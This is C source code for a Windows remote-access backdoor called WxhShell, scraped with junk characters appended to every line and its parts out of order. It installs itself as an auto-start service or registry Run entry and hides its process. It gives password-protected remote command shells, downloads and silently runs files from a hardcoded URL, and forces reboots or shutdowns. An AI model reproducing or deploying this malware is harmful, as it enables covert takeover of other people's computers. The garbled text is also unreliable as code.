    if(Boot(SHUTDOWN)) A8CIP:Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!jK3vc  
    else { _3-RoA'UZr  
    closesocket(wsh); 5(mCBH  
    ExitThread(0); .`i'gPLkn2  
    } 7<Z~\3x  
    break; m? ]zomP  
    } Ncs4<"{$  
  // 获取shell ?HEo9/ *7  
  case 's': { '2Mjz6mBDA  
    CmdShell(wsh); #3 }5cC8_  
    closesocket(wsh); ir( -$*J  
    ExitThread(0); .YnP% X=  
    break; ~5XL@jI^  
  } _#y(w%  
  // 退出 L<{OBuR  
  case 'x': { 6:SK{RSURC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;p?42rCIcl  
    CloseIt(wsh); BWqik_  
    break; [MSDk"o&  
    } S|O%h}AH;  
  // 离开 *Xf[b)FR  
  case 'q': { QSl:=Q'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _>Pe]3  
    closesocket(wsh); c,{&  
    WSACleanup(); 5yO#N2jY\  
    exit(1); 3> n2  
    break; pGZl.OI  
        } |e.3FjTH  
  } T7WZ(y 3C  
  } )- Wn'C'Z  
p4<M|1Z&  
  // 提示信息 6qmo ZAg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 71}L# nQ  
} F|h ,a;2  
  } TYmUPS$  
f0N)N}y  
  return; Q KDb  
} w<8O=  
-E,{r[Sp  
// shell模块句柄 0& SrKn  
int CmdShell(SOCKET sock) r7wx?{~ 28  
{ wXIe5  
STARTUPINFO si; hr$VVbOho  
ZeroMemory(&si,sizeof(si)); ;c \zgs~"T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D!OG307P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +lk\oj$S+  
PROCESS_INFORMATION ProcessInfo; H *z0xxa  
char cmdline[]="cmd"; KNUMz4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m,"cbJ /  
  return 0; nf+"vr}1  
} +Y>cBSO  
NXV~[  
// 自身启动模式 yC&b-y  
int StartFromService(void) "\R@l Ux.Y  
{ ]w&?k:y>  
typedef struct Cs6zv>SR  
{ dmTW]P2  
  DWORD ExitStatus; G74a9li@  
  DWORD PebBaseAddress; ]'bQ(<^#  
  DWORD AffinityMask; nfCd*f  
  DWORD BasePriority; ,sRrV $,"  
  ULONG UniqueProcessId; O. .@<.  
  ULONG InheritedFromUniqueProcessId; ~[ ks|  
}   PROCESS_BASIC_INFORMATION; Cs~\FI1wR  
L2V $%*6  
PROCNTQSIP NtQueryInformationProcess; aLyhxmn ^)  
(Db*.kd8,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VUg~[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d9Ow 2KrC  
qkR,<"C|`  
  HANDLE             hProcess; y>pq*i  
  PROCESS_BASIC_INFORMATION pbi; FclSuQWti  
EL)/5-=S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l52n/w#qFB  
  if(NULL == hInst ) return 0; <EMLiiNY  
?'8MI|*l%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aaa#/OWQZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /9vMGef@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 59%f|.Z)  
VQW)qOR9  
  if (!NtQueryInformationProcess) return 0; \Kzt*C-ZH  
4d3]pvv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?T%K +  
  if(!hProcess) return 0; +ke42Jwt  
=ty@xHr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d8y =.  
3<.j`JB@&  
  CloseHandle(hProcess); i+ &lMgh  
RWm Q]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @gVyLefS6g  
if(hProcess==NULL) return 0; 7`'fUhB!  
V n!az}  
HMODULE hMod; 5 xzB1n8  
char procName[255]; }FdcbNsP  
unsigned long cbNeeded; Xta>  
eMP Q| W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FoelOq6  
\ ]e w@C  
  CloseHandle(hProcess); A1s=;qr  
V2sB[Mw  
if(strstr(procName,"services")) return 1; // 以服务启动 k`J..f9  
\kJt@ [w%  
  return 0; // 注册表启动 3M:B?2  
} 3S2p:\]  
VA&OI;=ri  
// 主模块 Ok{:QA~#  
int StartWxhshell(LPSTR lpCmdLine) _F$t#.o  
{ +\(ay"+ d  
  SOCKET wsl; s)'_{ A"h  
BOOL val=TRUE; `] dx%  
  int port=0; JgjL$n;F  
  struct sockaddr_in door; dmMr8-w  
# *aGzF  
  if(wscfg.ws_autoins) Install(); tH|Q4C  
A ** M"T  
port=atoi(lpCmdLine); f8_UIdM7  
FSZoT!  
if(port<=0) port=wscfg.ws_port; Rb>RjHo S  
%JH_Nw.P  
  WSADATA data; &DhA$o"'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s!RA_%8/>  
aD3F!Sn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v]Q_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r D!.N   
  door.sin_family = AF_INET; |>fS"u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `]I5WTt*X  
  door.sin_port = htons(port); N(/<qv  
5 Yibv6:3a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KJ{F,fr+v  
closesocket(wsl); [<1+Q =;  
return 1; [q{Txe  
} 3 BhA.o  
L-:L= snO  
  if(listen(wsl,2) == INVALID_SOCKET) {  #=~1hk  
closesocket(wsl); TOF62,  
return 1; 3V!&y/c<  
} D$!p+Q  
  Wxhshell(wsl); + T-zf@j  
  WSACleanup(); &Or=_5Y`  
 G#n)|p  
return 0; 5z mHb  
T9v#Jb6  
} fy-Z{  
~5dq5_  
// 以NT服务方式启动 ?RAR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) + d)~;I$  
{ ]f @LhC1x  
DWORD   status = 0; fB"gM2'  
  DWORD   specificError = 0xfffffff; nKJ7K8)  
kITmo"$K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iwx0V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F,2#;t4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4O"kOEkKT>  
  serviceStatus.dwWin32ExitCode     = 0; >{) #|pWU  
  serviceStatus.dwServiceSpecificExitCode = 0; _N#3lU?  
  serviceStatus.dwCheckPoint       = 0; |a:VpM  
  serviceStatus.dwWaitHint       = 0; Uht:wEr  
]~ eWr2uG?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GYmBxX87  
  if (hServiceStatusHandle==0) return; }uj'BO2?  
f<:SdtG5  
status = GetLastError(); w*kFtNBfU  
  if (status!=NO_ERROR) h_"/@6  
{ G9":z|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f]65iE?x  
    serviceStatus.dwCheckPoint       = 0; ewPdhCK  
    serviceStatus.dwWaitHint       = 0; Bo(l!G  
    serviceStatus.dwWin32ExitCode     = status; 9NXiCP9A  
    serviceStatus.dwServiceSpecificExitCode = specificError; .wn_e=lT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tpzdYokh >  
    return; RKb3=} *C  
  } m)2hl~o_  
(G!J==  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q x }fn/:  
  serviceStatus.dwCheckPoint       = 0; 0c6AQP"=V  
  serviceStatus.dwWaitHint       = 0; -t#a*?"$w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o5@P>\ u>  
} lXy@Cf  
vszAr( t  
// 处理NT服务事件,比如:启动、停止 *K)53QKlE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6]49kHgMhe  
{ eL4@% ]o  
switch(fdwControl) "T[jQr  
{ yj9gN}+  
case SERVICE_CONTROL_STOP: P Y<V  
  serviceStatus.dwWin32ExitCode = 0; WG r\R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u)]sJ1p  
  serviceStatus.dwCheckPoint   = 0; 5Cka."bQ  
  serviceStatus.dwWaitHint     = 0; <:t\P.  
  { +ANIm^@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S.>9tV2Ca  
  } +-137!x\q  
  return; #$)rwm.jW?  
case SERVICE_CONTROL_PAUSE: B y8Tw;aL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FLOJ  
  break; F=c_PQO  
case SERVICE_CONTROL_CONTINUE: /kVc7 LC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $466? oI  
  break; xF31%b`z:  
case SERVICE_CONTROL_INTERROGATE: 'J2P3t  
  break; 3goJ(XI  
}; nQVBHL>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &y+*3,!n8  
} yKhzymS}T  
FJiP>S[]  
// 标准应用程序主函数 N Uml"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BJr Nbo;T  
{ +'4dP#  
oIgj)AY<  
// 获取操作系统版本 j"=jK^  
OsIsNt=GetOsVer(); m,q<R1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WF0>R^SpZ  
W5g!`f  
  // 从命令行安装 E #]%e^  
  if(strpbrk(lpCmdLine,"iI")) Install(); e@VRdhb  
^/,yZ:  
  // 下载执行文件 I2Rp=L:z5  
if(wscfg.ws_downexe) { tTamFL6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <a3XV  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tr!X2#)A!  
} N^at{I6C  
KPqI(  
if(!OsIsNt) { r\`m[Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 s``L?9  
HideProc(); oI/ThM`=q  
StartWxhshell(lpCmdLine); LvdMx]*SSr  
} @h3)! #\ N  
else 'm:B(N@+  
  if(StartFromService()) |sAg@kM  
  // 以服务方式启动 !d_A?q'hN  
  StartServiceCtrlDispatcher(DispatchTable); P dnK@a  
else 8~>3&jX  
  // 普通方式启动 e /Y+S;a  
  StartWxhshell(lpCmdLine); x{5*%}lX8  
PS1~6f"D  
return 0; Yw `VL)v(y  
} $sJfxh r  
?K#$81;[  
'M/&bu r  
>fQN"(tf  
=========================================== fXj  
{}e IpK,+  
AG2jl/  
-]%@,L^@  
e)7r  
x N)Ck76  
" Op~+yMef  
(#lS?+w)  
#include <stdio.h> +(0eOO'\M  
#include <string.h> &rKhB-18)  
#include <windows.h> _>I5Ud8(-  
#include <winsock2.h> ]Hq%Q~cE  
#include <winsvc.h> /+YWp>6LU  
#include <urlmon.h> V:18]:  
_A*0K,F-  
#pragma comment (lib, "Ws2_32.lib") SF7 Scd  
#pragma comment (lib, "urlmon.lib") "Q4{6FH+mB  
\PJ89u0  
#define MAX_USER   100 // 最大客户端连接数 iL<O|'be  
#define BUF_SOCK   200 // sock buffer I^=M>_ s4  
#define KEY_BUFF   255 // 输入 buffer 471}'3  
*uR'eXW  
#define REBOOT     0   // 重启 cB^lSmu5  
#define SHUTDOWN   1   // 关机 Gx($q;8  
l:HuG!  
#define DEF_PORT   5000 // 监听端口 e +U o-CO  
jT',+   
#define REG_LEN     16   // 注册表键长度 /8T{bJ5  
#define SVC_LEN     80   // NT服务名长度 ipG+qj/=  
)&K%Me  
// 从dll定义API .+sIjd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @}:(t{>;e7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fJKOuFK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zT"#9"["  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9"TPDU7"  
|.5d^z  
// wxhshell配置信息 W#7c`nm  
struct WSCFG { ,@xZuq+K<  
  int ws_port;         // 监听端口 ;C'*Ui  
  char ws_passstr[REG_LEN]; // 口令 +,,~ <Vm  
  int ws_autoins;       // 安装标记, 1=yes 0=no bql6Z1l  
  char ws_regname[REG_LEN]; // 注册表键名 {;r5]wimb  
  char ws_svcname[REG_LEN]; // 服务名 C 4,W[L]4"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =9-c*bL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vr$ [  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '"Gi&:*nQ<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l]gf T&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =8-e1R/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /DCUwg=0  
T=vI'"w  
}; N{0 D<"  
lx SGvvP4  
// default Wxhshell configuration cqDnZ`|6  
struct WSCFG wscfg={DEF_PORT, fy5)Tih%.*  
    "xuhuanlingzhe", fqxMTTg@  
    1, zQ~nS  
    "Wxhshell", TQE_zOa:  
    "Wxhshell", S3w? X  
            "WxhShell Service", lU maNZ  
    "Wrsky Windows CmdShell Service", %?ad.F+7  
    "Please Input Your Password: ", -VL3em|0  
  1, gueCP+a_  
  "http://www.wrsky.com/wxhshell.exe", .vg;K@{  
  "Wxhshell.exe" oVdmgmT.Y  
    }; <>cajQ@  
G6FknYj  
// 消息定义模块 uP.3(n[&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e8Jd*AKjb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I~,*Rgv/Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =x> KA*O1  
char *msg_ws_ext="\n\rExit."; MFrVGEQBRL  
char *msg_ws_end="\n\rQuit."; L,$9)`j  
char *msg_ws_boot="\n\rReboot..."; occ}|u  
char *msg_ws_poff="\n\rShutdown..."; Pg7/g=Va  
char *msg_ws_down="\n\rSave to "; _F3:j9^  
[||$1u\%  
char *msg_ws_err="\n\rErr!"; raCxHY  
char *msg_ws_ok="\n\rOK!"; B^Vb=* QRo  
y7JJ[:~~  
char ExeFile[MAX_PATH]; 5K0Isuu>>  
int nUser = 0; 74_ji!  
HANDLE handles[MAX_USER]; e([}dz  
int OsIsNt; 1jR<H$aS  
6v-h!1p{u  
SERVICE_STATUS       serviceStatus; YvonZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YC{od5a  
] '..G-  
// 函数声明 umY4tNe]$  
int Install(void); sNWj+T  
int Uninstall(void); /}Max@.`  
int DownloadFile(char *sURL, SOCKET wsh); k# /_Zd  
int Boot(int flag); kjH0u$n  
void HideProc(void); rR xqV?>n!  
int GetOsVer(void); Lq:Z='Kc  
int Wxhshell(SOCKET wsl); ]`%cTdpLj  
void TalkWithClient(void *cs); C 7v 8  
int CmdShell(SOCKET sock); /)N[tv2  
int StartFromService(void); }0:=)e  
int StartWxhshell(LPSTR lpCmdLine); !^w+<p  
xGjEEBL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [dL#0~CL$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rLVS#M#&e>  
q*>`HTPcU  
// 数据结构和表定义 O3S_P]{*ny  
SERVICE_TABLE_ENTRY DispatchTable[] = mU;TB%#)  
{ 8d-_'MXk3  
{wscfg.ws_svcname, NTServiceMain}, d bw`E"g  
{NULL, NULL} Y%2<}3P  
}; {=TD^>?  
"~tEmMz  
// 自我安装 % %*t{0!H+  
int Install(void) }JS?42CTaV  
{ Jf 2  
  char svExeFile[MAX_PATH]; 6 LC*X  
  HKEY key; F[LBQI`zq  
  strcpy(svExeFile,ExeFile); US-P>yF  
pl5!Ih6  
// 如果是win9x系统,修改注册表设为自启动 M*nfWQ a  
if(!OsIsNt) { |VIBSty2d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k z<We/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VgOj#Z?K  
  RegCloseKey(key); ds`a6>746  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bV}43zI.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vI4St;  
  RegCloseKey(key); t ;(kSg.  
  return 0; cJ&%XN  
    } o@ }Jd0D4  
  } .hU ndg  
} 2s~ X  
else { -rUn4a  
7tJPjp4l  
// 如果是NT以上系统,安装为系统服务 _rOKif?5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !9B)/Xi  
if (schSCManager!=0) `zF=h#i  
{ OPar"z^EV  
  SC_HANDLE schService = CreateService qm2  
  ( dF"Sz4DY#  
  schSCManager, V1M oW;&  
  wscfg.ws_svcname, k/Z}nz   
  wscfg.ws_svcdisp, A#*0mJ8IK  
  SERVICE_ALL_ACCESS, V#zDYrp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n>{ >3?  
  SERVICE_AUTO_START, z6\Y& {  
  SERVICE_ERROR_NORMAL, sa{X.}i%E  
  svExeFile, Ygr1 S(=  
  NULL, w[t!?(![>  
  NULL, Iq MXd K|  
  NULL, to2dkU  
  NULL, sJ,:[  
  NULL .xS}/^8iD  
  ); wUab)L  
  if (schService!=0) J=ZNx;{6  
  { 1-4W4"#  
  CloseServiceHandle(schService); p\1-.  
  CloseServiceHandle(schSCManager); <rNCb;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y]yp8Bs+  
  strcat(svExeFile,wscfg.ws_svcname); x pT85D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #)z_TM07P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pPUKx =d  
  RegCloseKey(key); 'Tj9btM*cL  
  return 0; d?S7E q9`  
    } SnRk` 5t  
  } % [b~4,c1  
  CloseServiceHandle(schSCManager); crG+BFi  
} "aHA6zTB  
} 4fgA3%  
'7 SFa]tH  
return 1; C[z5& x2  
} t[|^[%i  
q3n(Z  
// 自我卸载 Hn+w1v&3  
int Uninstall(void) rfku]A$  
{ F<VoPqHq  
  HKEY key; Q0s!]Dk  
N;Wm{~Zhb  
if(!OsIsNt) {  $ac VJI?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ,SNN[a  
  RegDeleteValue(key,wscfg.ws_regname); D<78Tm x  
  RegCloseKey(key); ?VmE bl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] X%T^3%G  
  RegDeleteValue(key,wscfg.ws_regname); 9q(*'rAm  
  RegCloseKey(key); >fNRwmi  
  return 0; MIGcV9hf  
  } Ey4%N`H-^  
} bVaydJ*  
} x8|sdZFxo  
else { `KgIr,Q)  
]lV\D8#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PRa #; Wb  
if (schSCManager!=0) B@U;[cO&  
{ >,wm-4&E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bxLeQWr6  
  if (schService!=0) )2~Iqzc4  
  { Ev+m+  
  if(DeleteService(schService)!=0) { !Nua  
  CloseServiceHandle(schService); b=(?\  
  CloseServiceHandle(schSCManager); QpbyC_:;$4  
  return 0; p;$Vw6W=  
  } z]:{ruvH  
  CloseServiceHandle(schService); PZ06 _  
  } KsZd.Rf=@  
  CloseServiceHandle(schSCManager); 2j*;1  
} wC{?@ h  
} I:?1(.kd2-  
lB3@ jF  
return 1; G;Jqby8d  
} ^UOVXRn  
tj7{[3~-[  
// 从指定url下载文件 Y=94<e[f"  
int DownloadFile(char *sURL, SOCKET wsh) no ).70K  
{ M@%$9N)gd  
  HRESULT hr; KElzYZl8  
char seps[]= "/"; v 9\2/B  
char *token; h' #C$i  
char *file; FyY<Vx'yQ  
char myURL[MAX_PATH]; M`{~AIqd(  
char myFILE[MAX_PATH]; y(!J8(yA  
`IN/1=]5  
strcpy(myURL,sURL); AM?62  
  token=strtok(myURL,seps); Y_S>S( 0  
  while(token!=NULL) oS.fy31p  
  { 7S'3U}Y>VX  
    file=token; cG{>[Lf  
  token=strtok(NULL,seps); @'XxMO[Z!<  
  } ~ A?  
w&VMb&<  
GetCurrentDirectory(MAX_PATH,myFILE); cVk&Yp;[*  
strcat(myFILE, "\\"); b9FfDDOq"  
strcat(myFILE, file); nZ7FG  
  send(wsh,myFILE,strlen(myFILE),0); ] A.:8;  
send(wsh,"...",3,0); wd 86 y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); />FgDIO  
  if(hr==S_OK) *?dw`j_b >  
return 0; :s(vn Ie^  
else <B"M} Y>_P  
return 1; N3O~_=/v?  
UM[<v9NWE  
} 0{0BL@H  
%z9eVkPI~  
// 系统电源模块 ?7n(6kmj4Q  
int Boot(int flag) uj 6dP  
{ G3r9@ 2OC  
  HANDLE hToken; -`knSR  
  TOKEN_PRIVILEGES tkp; `GGACH3#s  
4Og&w]  
  if(OsIsNt) { HH`G/(a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JrZ"AId2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >U?U ;i  
    tkp.PrivilegeCount = 1; rwYlg:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %UV'HcO/gp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BM6 J  
if(flag==REBOOT) { AiMD"7 )c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0C3s  
  return 0; B-EVo&.  
} b d!|/Lk  
else { 6@N?`6Bt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pyvZ[R 9  
  return 0; /1s|FI$-L  
} 4^|;a0Qy]  
  } ~D[5AXV`^  
  else { @t W;(8-  
if(flag==REBOOT) { UM?{ba9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CY{`IZ  
  return 0; (+_i^SqK  
} !4gyrNS  
else { UBN^dbP*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~i3/Ec0\  
  return 0; ze5Hg'f  
} S4qj}`$ Yv  
} F% <hng%k  
$]H^?  
return 1; Hjho!np  
} y}TiN!M  
1K<4Kz~  
// win9x进程隐藏模块 kZ^}  
void HideProc(void) g8I=s7cnb  
{ }1N $4@  
-5v2E-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =SY5E{`4p  
  if ( hKernel != NULL ) Q2 tM~  
  { IO, kGUS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <M//zXa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3F/05}d`  
    FreeLibrary(hKernel); +}MV$X  
  } auzrM4<tz  
}PdHR00^  
return; +W=  
} q '6gj  
$M `%A  
// 获取操作系统版本 w>RBth^p  
int GetOsVer(void) a-P 'h1hbH  
{ "Zu hN(-`  
  OSVERSIONINFO winfo; {|{}]B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y(I_ 6+B^  
  GetVersionEx(&winfo); ]{` 8C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M!KHBr  
  return 1; 8UA bTqB-  
  else ulcm  
  return 0; X<6Ro es2  
} co <ATx  
<ZF,3~v?  
// 客户端句柄模块 F0 cde  
int Wxhshell(SOCKET wsl) %TO=]>q  
{ %D::$,;<<  
  SOCKET wsh; ^iWcuh_n  
  struct sockaddr_in client; Y5J}*`[Mr  
  DWORD myID; ,d^ze=  
&3jq'@6  
  while(nUser<MAX_USER) [gZz'q&[)  
{ $?38o6  
  int nSize=sizeof(client); d@ +}_R"c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vY+{zGF  
  if(wsh==INVALID_SOCKET) return 1; urJ>dw?FI  
O{0TS^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i0,'b61qE  
if(handles[nUser]==0) lu]Z2xSv  
  closesocket(wsh); ,34|_  
else 1pT v6  
  nUser++; 6CKWKc  
  } H|E{n/g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |2!!>1k  
t#kPEiD  
  return 0; i\4Qv"%  
} ||{V*"+\  
Mn<G9KR  
// 关闭 socket ^qs{Cf$  
void CloseIt(SOCKET wsh) 'Gn-8r+  
{ aWp9K+4R$/  
closesocket(wsh); 4v@urW s  
nUser--; ul{u^ j  
ExitThread(0); 6]GEn=t  
} r6B\yH2  
DXbzl +R  
// 客户端请求句柄 M?61g(  
void TalkWithClient(void *cs) [1I>Bc&o*  
{ (r&e|  
iSm5k:7  
  SOCKET wsh=(SOCKET)cs; mw^Di  
  char pwd[SVC_LEN]; SUSam/xeg"  
  char cmd[KEY_BUFF]; <"SDU_<xG  
char chr[1]; <tT*.nM\  
int i,j; -3YsrcJi  
|sM#nhxK  
  while (nUser < MAX_USER) { amPC C  
Hk65c0  
if(wscfg.ws_passstr) { 6 (:^>@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X >i`z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ch`nDIne  
  //ZeroMemory(pwd,KEY_BUFF); 0YMmWxV  
      i=0; s_(%1/{  
  while(i<SVC_LEN) { uYh6q1@"~  
gk%8iT  
  // 设置超时 3 cd5 g  
  fd_set FdRead; d+9T}? T:*  
  struct timeval TimeOut; ,zCrix 3  
  FD_ZERO(&FdRead); u )'l|Y  
  FD_SET(wsh,&FdRead); P #_8$#G3  
  TimeOut.tv_sec=8; B3p[A k  
  TimeOut.tv_usec=0; Tk9/1C{8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M4;A4V=W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^7l.!s#$b  
In-W,   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V;b^b5yZ>  
  pwd=chr[0]; _g%Wx?K9  
  if(chr[0]==0xd || chr[0]==0xa) { T>"GH M  
  pwd=0; m?Gb5=qo  
  break; A+JM* eB  
  } p[Z'Fl  
  i++; QlbhQkn  
    } DYvi1X6  
8"C;I=]8  
  // 如果是非法用户,关闭 socket Jm%hb ,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^1&xt(G  
} .x$!Rc}  
(qE*z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4:!KtpR[O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #8 N9@  
!fFmQ\|)4S  
while(1) { "}uPz4  
7e,EI9?.  
  ZeroMemory(cmd,KEY_BUFF); =4RBHe8`  
"HWl7c3q  
      // 自动支持客户端 telnet标准   \wmNeGC2  
  j=0; Ga4Ru  
  while(j<KEY_BUFF) { ~YxLDo'.t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]rEFWA  
  cmd[j]=chr[0]; '/gw`MJ  
  if(chr[0]==0xa || chr[0]==0xd) { #y~`nyg%|  
  cmd[j]=0; jni }om  
  break; :!vDX2o)\  
  } X X>Y]P a  
  j++; %4Nq T  
    } RvL-SI%E  
dAOmqu, 6  
  // 下载文件 X&^8[,"  
  if(strstr(cmd,"http://")) { I,{9vew  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TQx''$j\  
  if(DownloadFile(cmd,wsh)) {u BpM9KT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7)S ;VG k  
  else :#!m(s`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ga\E`J$c  
  } jW6~^>S  
  else { 6gS<h \h0  
=bUVGjr%96  
    switch(cmd[0]) { !<"H73?fl  
  -9"hJ4  
  // 帮助 f-5vE9G3y7  
  case '?': { ^>?gFvWB%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  D7%`hU  
